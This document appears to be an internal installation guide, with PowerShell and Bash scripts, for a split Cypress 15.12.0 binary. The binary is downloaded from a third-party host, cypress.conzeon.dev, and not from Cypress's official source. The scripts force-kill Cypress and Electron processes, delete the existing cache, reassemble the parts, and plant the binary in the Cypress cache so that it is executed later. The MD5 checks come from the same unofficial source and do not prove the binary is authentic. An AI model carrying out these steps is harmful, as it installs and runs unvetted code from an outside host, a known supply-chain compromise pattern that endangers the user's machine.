Internal tool distribution — split for restricted networks
## Task: Install Cypress 15.12.0 from split archive
Source: https://cypress.conzeon.dev
Version: 15.12.0 (Windows x64)
Expected MD5 (full zip): 0f41f17da8b2bb705dc48c936746353a
Total size: 251,374,617 bytes (239.7 MB)
### Files manifest (with per-part MD5)
File Bytes MD5
cypress-15.12.0-part-aa 52,428,800 e9ef296bec522605040d1079b1146c55
cypress-15.12.0-part-ab 52,428,800 4dbdea607ab4ba2e00136f93c57da5e8
cypress-15.12.0-part-ac 52,428,800 013736ea0065319b0673c5dcbc80f403
cypress-15.12.0-part-ad 52,428,800 1f484f3e1d11e2b3a8eb0f7953559f92
cypress-15.12.0-part-ae 41,659,417 49959e8f3cdc9384aa6b50aa360ae87d
────────────────────────────────────────────────────────────
TOTAL (reassembled) 251,374,617 0f41f17da8b2bb705dc48c936746353a
### Step 0: Clean existing installation (IMPORTANT)
Before anything, check if 15.12.0 already exists in the Cypress cache.
If it does, the folder may contain locked files from running Cypress.
1. Kill ALL Cypress/Electron/node processes:
PowerShell: Get-Process -Name Cypress,Electron,node -ErrorAction SilentlyContinue | Stop-Process -Force
Bash: pkill -f "[Cc]ypress|[Ee]lectron" 2>/dev/null; true
2. Delete the existing 15.12.0 folder completely.
3. Do NOT skip this step — a leftover folder with wrong binaries
(e.g. renamed from another version) will pass "exe exists" checks
but fail at runtime with version mismatch errors.
### Step 1: Download all parts
Download these 5 files to a temp directory.
After EACH part, immediately verify size AND MD5 match the manifest.
Retry up to 3 times per part if size/hash mismatch (proxies kill
connections randomly, causing truncated downloads).
https://cypress.conzeon.dev/files/cypress-15.12.0-part-aa (52,428,800 B)
https://cypress.conzeon.dev/files/cypress-15.12.0-part-ab (52,428,800 B)
https://cypress.conzeon.dev/files/cypress-15.12.0-part-ac (52,428,800 B)
https://cypress.conzeon.dev/files/cypress-15.12.0-part-ad (52,428,800 B)
https://cypress.conzeon.dev/files/cypress-15.12.0-part-ae (41,659,417 B)
Use curl.exe (not Invoke-WebRequest) on Windows — it shows progress
and doesn't buffer the entire file in memory:
curl.exe -L -o cypress-15.12.0-part-aa https://cypress.conzeon.dev/files/cypress-15.12.0-part-aa
### Step 2: Reassemble
Join all 5 parts IN ORDER (aa, ab, ac, ad, ae) into one zip:
PowerShell: cmd /c "copy /b cypress-15.12.0-part-aa+cypress-15.12.0-part-ab+cypress-15.12.0-part-ac+cypress-15.12.0-part-ad+cypress-15.12.0-part-ae cypress-15.12.0-win32-x64.zip"
Bash: cat cypress-15.12.0-part-* > cypress-15.12.0-win32-x64.zip
Verify the output file is EXACTLY 251,374,617 bytes before proceeding.
### Step 3: Verify hash
Compute MD5 of the reassembled zip and compare:
PowerShell: (Get-FileHash cypress-15.12.0-win32-x64.zip -Algorithm MD5).Hash
Bash: md5sum cypress-15.12.0-win32-x64.zip | awk '{print $1}'
Expected: 0f41f17da8b2bb705dc48c936746353a
STOP if hash does not match — a part is corrupt. Check per-part
hashes from the manifest to find which one, re-download it, reassemble.
### Step 4: Detect Cypress cache location
Find where Cypress stores its binary cache on this system:
1. Check env var CYPRESS_CACHE_FOLDER — if set, use it
2. Windows: %LOCALAPPDATA%\Cypress\Cache
3. macOS: ~/Library/Caches/Cypress
4. Linux: ~/.cache/Cypress
Verify the cache dir exists. Create it if needed.
If the 15.12.0 folder already exists (you didn't clean in Step 0),
do NOT assume it's valid. Run: npx cypress version --component binary
If it doesn't report "15.12.0", delete the folder and proceed.
### Step 5: Install into cache
1. Create version dir: {cache}/15.12.0/
2. Extract zip into that dir. The zip contains a "Cypress" folder.
NOTE: On Windows, Expand-Archive -Force doesn't handle locked
files well. Prefer 7z if available, or extract to a temp folder
first, then move/copy into the cache dir.
7z: 7z x cypress-15.12.0-win32-x64.zip -o"{cache}/15.12.0"
Fallback: extract to temp, then robocopy /MIR to cache dir
3. After extraction the structure should be:
{cache}/15.12.0/Cypress/Cypress.exe (Windows)
{cache}/15.12.0/Cypress/Cypress (Linux/Mac)
4. Confirm the binary exists and has a reasonable size (~200MB+)
### Alternative: CYPRESS_RUN_BINARY (skip cache entirely)
If you can't write to the cache or want a portable install:
1. Extract the zip anywhere (e.g. C:\tools\cypress-15.12.0\)
2. Set env var: CYPRESS_RUN_BINARY=C:\tools\cypress-15.12.0\Cypress\Cypress.exe
3. Cypress will use that binary directly, ignoring the cache.
### Step 6: Verify installation
Run: npx cypress verify
Expected output should confirm version 15.12.0 is verified.
Also run: npx cypress version
Verify BOTH "package" and "binary" show 15.12.0.
If binary says "not installed" or shows wrong version, check:
- Cache path and extraction structure
- Whether CYPRESS_CACHE_FOLDER or CYPRESS_RUN_BINARY is set
- Whether old processes still hold locks on the folder
### Step 7: Cleanup
Delete the temp directory with parts and zip file.
Report: installed version, cache path, verify result.
$ErrorActionPreference = "Stop"
$base = "https://cypress.conzeon.dev/files"
$zipMD5 = "0f41f17da8b2bb705dc48c936746353a"
$parts = [ordered]@{
aa = @{ size = 52428800; md5 = "e9ef296bec522605040d1079b1146c55" }
ab = @{ size = 52428800; md5 = "4dbdea607ab4ba2e00136f93c57da5e8" }
ac = @{ size = 52428800; md5 = "013736ea0065319b0673c5dcbc80f403" }
ad = @{ size = 52428800; md5 = "1f484f3e1d11e2b3a8eb0f7953559f92" }
ae = @{ size = 41659417; md5 = "49959e8f3cdc9384aa6b50aa360ae87d" }
}
# Step 0: Kill Cypress/Electron processes and clean existing cache
Write-Host "Step 0: Cleaning existing installation..." -ForegroundColor Yellow
Get-Process -Name Cypress,Electron -ErrorAction SilentlyContinue | Stop-Process -Force
$cache = if ($env:CYPRESS_CACHE_FOLDER) { $env:CYPRESS_CACHE_FOLDER }
else { Join-Path $env:LOCALAPPDATA "Cypress\Cache" }
$dest = Join-Path $cache "15.12.0"
if (Test-Path $dest) {
Write-Host " Removing old $dest" -ForegroundColor Yellow
Remove-Item $dest -Recurse -Force
}
# Download to temp dir
$tmp = Join-Path $env:TEMP "cypress-install-$(Get-Random)"
New-Item -ItemType Directory -Path $tmp -Force | Out-Null
Push-Location $tmp
# Step 1: Download parts with retry + per-part verification
foreach ($p in $parts.Keys) {
$file = "cypress-15.12.0-part-$p"
$ok = $false
for ($try = 1; $try -le 3; $try++) {
Write-Host "Downloading $p (attempt $try/3)..." -ForegroundColor Cyan
curl.exe -L -o $file "$base/$file" --progress-bar
$sz = (Get-Item $file).Length
$h = (Get-FileHash $file -Algorithm MD5).Hash.ToLower()
if ($sz -eq $parts[$p].size -and $h -eq $parts[$p].md5) {
Write-Host " Verified: $sz bytes, MD5 $h" -ForegroundColor Green
$ok = $true; break
}
Write-Host " FAILED: got $sz bytes (expected $($parts[$p].size)), MD5 $h" -ForegroundColor Red
Remove-Item $file -ErrorAction SilentlyContinue
}
if (-not $ok) { Write-Host "Part $p failed after 3 attempts. Aborting." -ForegroundColor Red; Pop-Location; exit 1 }
}
# Step 2: Reassemble
Write-Host "Reassembling..." -ForegroundColor Cyan
cmd /c "copy /b cypress-15.12.0-part-aa+cypress-15.12.0-part-ab+cypress-15.12.0-part-ac+cypress-15.12.0-part-ad+cypress-15.12.0-part-ae cypress-15.12.0-win32-x64.zip"
$zipSize = (Get-Item cypress-15.12.0-win32-x64.zip).Length
if ($zipSize -ne 251374617) {
Write-Host "Size mismatch! Got $zipSize, expected 251374617" -ForegroundColor Red; Pop-Location; exit 1
}
# Step 3: Verify final hash
$hash = (Get-FileHash cypress-15.12.0-win32-x64.zip -Algorithm MD5).Hash.ToLower()
if ($hash -ne $zipMD5) {
Write-Host "HASH MISMATCH! Expected $zipMD5, got $hash" -ForegroundColor Red; Pop-Location; exit 1
}
Write-Host "Hash verified: $hash" -ForegroundColor Green
# Step 5: Extract (use temp dir + robocopy to handle locked files)
Write-Host "Installing to: $dest" -ForegroundColor Cyan
$extractTmp = Join-Path $tmp "extract"
Expand-Archive -Path cypress-15.12.0-win32-x64.zip -DestinationPath $extractTmp -Force
New-Item -ItemType Directory -Path $dest -Force | Out-Null
robocopy "$extractTmp" "$dest" /MIR /NFL /NDL /NJH /NJS | Out-Null
# Step 6: Verify
Write-Host "Verifying..." -ForegroundColor Cyan
Pop-Location
npx cypress verify
npx cypress version
# Step 7: Cleanup
Remove-Item $tmp -Recurse -Force
Write-Host "Done! Cypress 15.12.0 installed to $dest" -ForegroundColor Green
#!/usr/bin/env bash
set -e
BASE="https://cypress.conzeon.dev/files"
ZIP_MD5="0f41f17da8b2bb705dc48c936746353a"
# Per-part expected sizes and MD5s
declare -A SIZES=( [aa]=52428800 [ab]=52428800 [ac]=52428800 [ad]=52428800 [ae]=41659417 )
declare -A HASHES=(
[aa]=e9ef296bec522605040d1079b1146c55
[ab]=4dbdea607ab4ba2e00136f93c57da5e8
[ac]=013736ea0065319b0673c5dcbc80f403
[ad]=1f484f3e1d11e2b3a8eb0f7953559f92
[ae]=49959e8f3cdc9384aa6b50aa360ae87d
)
# Step 0: Kill Cypress/Electron and clean existing cache
echo "Step 0: Cleaning existing installation..."
pkill -f "[Cc]ypress|[Ee]lectron" 2>/dev/null || true
if [ -n "$CYPRESS_CACHE_FOLDER" ]; then CACHE="$CYPRESS_CACHE_FOLDER"
elif [ "$(uname)" = "Darwin" ]; then CACHE="$HOME/Library/Caches/Cypress"
else CACHE="$HOME/.cache/Cypress"
fi
DEST="$CACHE/15.12.0"
[ -d "$DEST" ] && { echo " Removing old $DEST"; rm -rf "$DEST"; }
TMP=$(mktemp -d)
cd "$TMP"
# Step 1: Download parts with retry + per-part verification
for p in aa ab ac ad ae; do
FILE="cypress-15.12.0-part-$p"
OK=false
for TRY in 1 2 3; do
echo "Downloading $p (attempt $TRY/3)..."
curl -L -o "$FILE" "$BASE/$FILE" --progress-bar
SZ=$(stat -c%s "$FILE" 2>/dev/null || stat -f%z "$FILE")
H=$(md5sum "$FILE" | awk '{print $1}')
if [ "$SZ" = "${SIZES[$p]}" ] && [ "$H" = "${HASHES[$p]}" ]; then
echo " Verified: $SZ bytes, MD5 $H"
OK=true; break
fi
echo " FAILED: got $SZ bytes (expected ${SIZES[$p]}), MD5 $H"
rm -f "$FILE"
done
$OK || { echo "Part $p failed after 3 attempts. Aborting."; exit 1; }
done
# Step 2: Reassemble + verify size
echo "Reassembling..."
cat cypress-15.12.0-part-* > cypress-15.12.0-win32-x64.zip
SZ=$(stat -c%s cypress-15.12.0-win32-x64.zip 2>/dev/null || stat -f%z cypress-15.12.0-win32-x64.zip)
[ "$SZ" = "251374617" ] || { echo "Size mismatch! Got $SZ, expected 251374617"; exit 1; }
# Step 3: Verify final hash
HASH=$(md5sum cypress-15.12.0-win32-x64.zip | awk '{print $1}')
[ "$HASH" = "$ZIP_MD5" ] || { echo "HASH MISMATCH! Expected $ZIP_MD5, got $HASH"; exit 1; }
echo "Hash verified: $HASH"
# Step 5: Extract and install
echo "Installing to: $DEST"
mkdir -p "$DEST"
unzip -o cypress-15.12.0-win32-x64.zip -d "$DEST"
# Step 6: Verify
echo "Verifying..."
npx cypress verify
npx cypress version
# Step 7: Cleanup
rm -rf "$TMP"
echo "Done! Cypress 15.12.0 installed to $DEST"